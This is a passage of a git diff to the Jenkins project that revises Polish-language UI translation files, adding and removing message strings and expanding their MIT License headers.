SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Apply=bernehmen +Node\ name=Nazwa w\u0119z\u0142a +Copy\ Existing\ Node=Kopiuj istniej\u0105cy w\u0119ze\u0142 diff --git a/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties b/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties index 76f7eb5480..6933e0887e 100644 --- a/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties +++ b/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -23,5 +23,4 @@ Build\ Time\ Trend=Trend czasu trwania zada\u0144 Build=Zadanie Duration=Czas trwania -More\ than\ 1\ builds\ are\ needed\ for\ the\ trend\ report.=Potrzeba wi\u0119cej ni\u017C jednego zadania by przygotowa\u0107 raport trendu Timeline=Linia czasu diff --git a/core/src/main/resources/hudson/model/Job/configure_pl.properties b/core/src/main/resources/hudson/model/Job/configure_pl.properties index ebd96c0e7e..8de51db76c 100644 --- a/core/src/main/resources/hudson/model/Job/configure_pl.properties +++ b/core/src/main/resources/hudson/model/Job/configure_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,5 +24,4 @@ Description=Opis LOADING=\u0141ADOWANIE Save=Zapisz Apply=Zastosuj -Strategy=Strategia name={0} nazwa diff --git a/core/src/main/resources/hudson/model/Job/index_pl.properties b/core/src/main/resources/hudson/model/Job/index_pl.properties index 7aee47b620..07caffc5a9 100644 --- a/core/src/main/resources/hudson/model/Job/index_pl.properties +++ b/core/src/main/resources/hudson/model/Job/index_pl.properties @@ -1,6 +1,24 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. -Disable\ Project=Wy\u0142\u0105cz projekt -Enable=W\u0142\u0105cz Project\ name=Nazwa projektu -This\ project\ is\ currently\ disabled=Projekt jest obecnie wy\u0142\u0105czony. + diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index 705ca647da..2fc6176d72 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -79,3 +79,15 @@ MyViewsProperty.GlobalAction.DisplayName=Moje widoki FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. # Freestyle project FreeStyleProject.DisplayName=Og\u00F3lny projekt +# Use this node as much as possible +Node.Mode.NORMAL=Wykorzystuj ten w\u0119ze\u0142 tak bardzo, jak to tylko mo\u017Cliwe +# Nodes +ComputerSet.DisplayName=W\u0119z\u0142y +# Jenkins +Hudson.DisplayName=Jenkins +# List View +ListView.DisplayName=Widok listy +# My View +MyView.DisplayName=M\u00F3j widok +# Only build jobs with label expressions matching this node +Node.Mode.EXCLUSIVE=Uruchamiaj te projekty, kt\u00F3re maj\u0105 etykiet\u0119 pasuj\u0105c\u0105 do tego w\u0119\u017C\u0142a diff --git a/core/src/main/resources/hudson/model/Run/console_pl.properties b/core/src/main/resources/hudson/model/Run/console_pl.properties index 5e82220e61..138b0e72ed 100644 --- a/core/src/main/resources/hudson/model/Run/console_pl.properties +++ b/core/src/main/resources/hudson/model/Run/console_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,5 +21,4 @@ # THE SOFTWARE. Console\ Output=Logi konsoli -View\ as\ plain\ text=Poka\u017C jako tekst niesformatowany skipSome=Pomini\u0119to {0,number,integer} KB.. Poka\u017C wszystko diff --git a/core/src/main/resources/hudson/model/User/sidepanel_pl.properties b/core/src/main/resources/hudson/model/User/sidepanel_pl.properties index 5cfaa27c4a..aaf743f998 100644 --- a/core/src/main/resources/hudson/model/User/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/model/User/sidepanel_pl.properties @@ -1,7 +1,27 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Builds=Zadania Configure=Konfiguracja Delete=Usu\u0144 -My\ Views=Moje widoki People=U\u017Cytkownicy +Status=Status diff --git a/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties b/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties index 0c78d03b5a..253a5acf3e 100644 --- a/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties +++ b/core/src/main/resources/hudson/model/View/AsynchPeople/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,6 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Last\ Active=Ostatnio aktywny Name=Nazwa On=Na People=U\u017Cytkownicy diff --git a/core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_pl.properties b/core/src/main/resources/hudson/model/View/index_pl.properties similarity index 89% rename from core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_pl.properties rename to core/src/main/resources/hudson/model/View/index_pl.properties index e306eb89d1..affec34f25 100644 --- a/core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_pl.properties +++ b/core/src/main/resources/hudson/model/View/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,6 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -cancel\ this\ build=anuluj build -pending=oczekiwanie +Dashboard=Tablica diff --git a/core/src/main/resources/hudson/model/View/newJob_pl.properties b/core/src/main/resources/hudson/model/View/newJob_pl.properties index 98a5d8467b..fe4e021424 100644 --- a/core/src/main/resources/hudson/model/View/newJob_pl.properties +++ b/core/src/main/resources/hudson/model/View/newJob_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,7 +21,6 @@ # THE SOFTWARE. NewJob=Nowy {0} -JobName=Nazwa {0} ItemName.help=Pole wymagane ItemName.label=Podaj nazw\u0119 projektu ItemName.validation.required=To pole nie mo\u017Ce by\u0107 puste, podaj nazw\u0119 projektu @@ -29,4 +28,3 @@ ItemType.validation.required=Wybierz rodzaj projektu CopyOption.placeholder=Podaj nazw\u0119 CopyOption.description=Je\u015Bli chcesz stworzy\u0107 nowy projekt na podstawie istniej\u0105cego, mo\u017Cesz u\u017Cy\u0107 tej opcji CopyOption.label=Kopiuj z -CopyExisting=Kopiuj z istniej\u0105cego {0} diff --git a/core/src/main/resources/hudson/model/View/sidepanel_pl.properties b/core/src/main/resources/hudson/model/View/sidepanel_pl.properties index c911ad469a..d600f794c6 100644 --- a/core/src/main/resources/hudson/model/View/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/model/View/sidepanel_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,8 +24,6 @@ Build\ History=Historia zada\u0144 Check\ File\ Fingerprint=Sprawd\u017A odcisk palca pliku Delete\ View=Usu\u0144 widok Edit\ View=Edytuj widok -Manage\ Jenkins= -New\ Job=Nowe zadanie NewJob=Nowy {0} People=U\u017Cytkownicy Project\ Relationship=Projekty powi\u0105zane diff --git a/core/src/main/resources/lib/form/apply_zh_TW.properties b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_pl.properties similarity index 91% rename from core/src/main/resources/lib/form/apply_zh_TW.properties rename to core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_pl.properties index 8b3022f372..422343bc7e 100644 --- a/core/src/main/resources/lib/form/apply_zh_TW.properties +++ b/core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2013, Chunghwa Telecom Co., Ltd., Pei-Tang Huang +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Apply=\u5957\u7528 +Free\ Space\ Threshold=Dolny pr\u00F3g wolnego miejsca diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties index 789580f522..cefd8b8795 100644 --- a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/_entryForm_pl.properties @@ -1,6 +1,25 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. -Sign\ up=Zarejestruj si\u0119 Confirm\ password=Powt\u00F3rz has\u0142o E-mail\ address=Adres e-mail Full\ name=Pe\u0142na nazwa diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_pl.properties new file mode 100644 index 0000000000..1d1ea78072 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/index_pl.properties @@ -0,0 +1,25 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Users=U\u017Cytkownicy +# These users can log into Jenkins. This is a sub set of this list, \ +Name=Nazwa +User\ Id=Identyfikator diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_pl.properties new file mode 100644 index 0000000000..3dbafb505c --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/sidepanel_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Back\ to\ Dashboard=Powr\u00F3t do tablicy +Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem +Create\ User=Stw\u00F3rz u\u017Cytkownika diff --git a/core/src/main/resources/hudson/security/Messages_pl.properties b/core/src/main/resources/hudson/security/Messages_pl.properties index 347024e6a5..93cdda1065 100644 --- a/core/src/main/resources/hudson/security/Messages_pl.properties +++ b/core/src/main/resources/hudson/security/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,9 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -GlobalSecurityConfiguration.DisplayName=Konfiguracja globalnych zabezpiecze\u0144 -GlobalSecurityConfiguration.Description=Bezpiecze\u0144stwo Jenkinsa: okre\u015Bl, kto ma dost\u0119p i mo\u017Ce u\u017Cywa\u0107 systemu. +# Manage Users +HudsonPrivateSecurityRealm.ManageUserLinks.DisplayName=Zarz\u0105dzaj u\u017Cytkownikami +# LDAP +LDAPSecurityRealm.DisplayName=LDAP +# Create/delete/modify users that can log in to this Jenkins +HudsonPrivateSecurityRealm.ManageUserLinks.Description=Dodawaj, usuwaj i modyfikuj u\u017Cytkownik\u00F3w, kt\u00F3rzy mog\u0105 si\u0119 logowa\u0107 do Jenkinsa diff --git a/core/src/main/resources/hudson/slaves/Messages_pl.properties b/core/src/main/resources/hudson/slaves/Messages_pl.properties new file mode 100644 index 0000000000..f09693fdf4 --- /dev/null +++ b/core/src/main/resources/hudson/slaves/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# Environment variables +EnvironmentVariablesNodeProperty.displayName=Zmienne \u015Brodowiskowe diff --git a/core/src/main/resources/hudson/model/AbstractItem/noWorkspace_pl.properties b/core/src/main/resources/hudson/tools/Messages_pl.properties similarity index 89% rename from core/src/main/resources/hudson/model/AbstractItem/noWorkspace_pl.properties rename to core/src/main/resources/hudson/tools/Messages_pl.properties index bd515a74b8..6668add871 100644 --- a/core/src/main/resources/hudson/model/AbstractItem/noWorkspace_pl.properties +++ b/core/src/main/resources/hudson/tools/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Error:\ no\ workspace=B\u0142\u0105d: brak przestrzeni roboczej +# Tool Locations +ToolLocationNodeProperty.displayName=Lokalizacja narz\u0119dzi diff --git a/core/src/main/resources/hudson/util/Messages_pl.properties b/core/src/main/resources/hudson/util/Messages_pl.properties new file mode 100644 index 0000000000..3ed7b35e7e --- /dev/null +++ b/core/src/main/resources/hudson/util/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# In sync +ClockDifference.InSync=Zsynchronizowany diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties b/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties index 7e8a35df85..5bae63c7f7 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,6 +20,8 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -More\ ...=Wi\u0119cej ... for\ all=Dla wszystkich for\ failures=dla nieudanych +Clear=wyszy\u015B\u0107 +trend=trend +find=szukaj diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties new file mode 100644 index 0000000000..3253198287 --- /dev/null +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# There are {0} active administrative monitors. +tooltip=-Znaleziono {0} aktywnych powiadomie\u0144 dla administrator\u00F3w +Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem diff --git a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties index 52107feb39..a1431d07b8 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties @@ -1,7 +1,28 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Build\ Record\ Root\ Directory=Katalog bazowy zadania budowy Home\ directory=Katalog domowy LOADING=Wczytywanie System\ Message=Komunikat systemowy Workspace\ Root\ Directory=Katalog bazowy przestrzeni roboczej +Save=Zapisz +Apply=Zastosuj diff --git a/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties index b6ad8a6ec2..36c0c963b1 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/manage_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,25 +20,5 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Add,\ remove,\ control\ and\ monitor\ the\ various\ nodes\ that\ Jenkins\ runs\ jobs\ on.=Dodaj, usu\u0144, kontroluj i monitoruj r\u00F3\u017Cne w\u0119z\u0142y, kt\u00F3re Jenkins obs\u0142uguje. -Add,\ remove,\ disable\ or\ enable\ plugins\ that\ can\ extend\ the\ functionality\ of\ Jenkins.=Dodaj, usu\u0144, wy\u0142\u0105cz lub w\u0142\u0105cz wtyczki, kt\u00F3re mog\u0105 rozszerzy\u0107 funkcjonalno\u015B\u0107 Jenkinsa. -Configure\ System=Konfiguracja systemu -Configure\ global\ settings\ and\ paths.=Konfiguruj ustawienia globalne i \u015Bcie\u017Cki. -Discard\ all\ the\ loaded\ data\ in\ memory\ and\ reload\ everything\ from\ file\ system.=Porzu\u0107 wszystkie niezapisane zmiany i wczytaj wszystko z plik\u00F3w konfiguracyjnych. -Displays\ various\ environmental\ information\ to\ assist\ trouble-shooting.=Wy\u015Bwietlaj r\u00F3\u017Cne informacje \u015Brodowiskowe, by pom\u00F3c w rozwi\u0105zywaniu problem\u00F3w. -Executes\ arbitrary\ script\ for\ administration/trouble-shooting/diagnostics.=Wykonywanie dowolnych skrypt\u00F3w dla administracji/rozwi\u0105zywania b\u0142\u0119d\u00F3w/diagnostyki. -JenkinsCliText=Dost\u0119p/zarz\u0105dzanie Jenkinsem z twojej pow\u0142oki, lub skryptu -Load\ Statistics=Statystyki \u0141adowania -LoadStatisticsText=Sprawd\u017A swoje zmniejszone zasoby i sprawd\u017A czy potrzebujesz wi\u0119cej komputer\u00F3w do budowy. Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem -Manage\ Nodes=Zarz\u0105dzaj W\u0119z\u0142ami -Manage\ Plugins=Zarz\u0105dzaj wtyczkami -Prepare\ for\ Shutdown=Przygotuj si\u0119 do wy\u0142\u0105czenia -Reload\ Configuration\ from\ Disk=Wczytaj ponownie zapisan\u0105 konfiguracj\u0119 -Script\ Console=Scenariusz konsoli -Stops\ executing\ new\ builds,\ so\ that\ the\ system\ can\ be\ 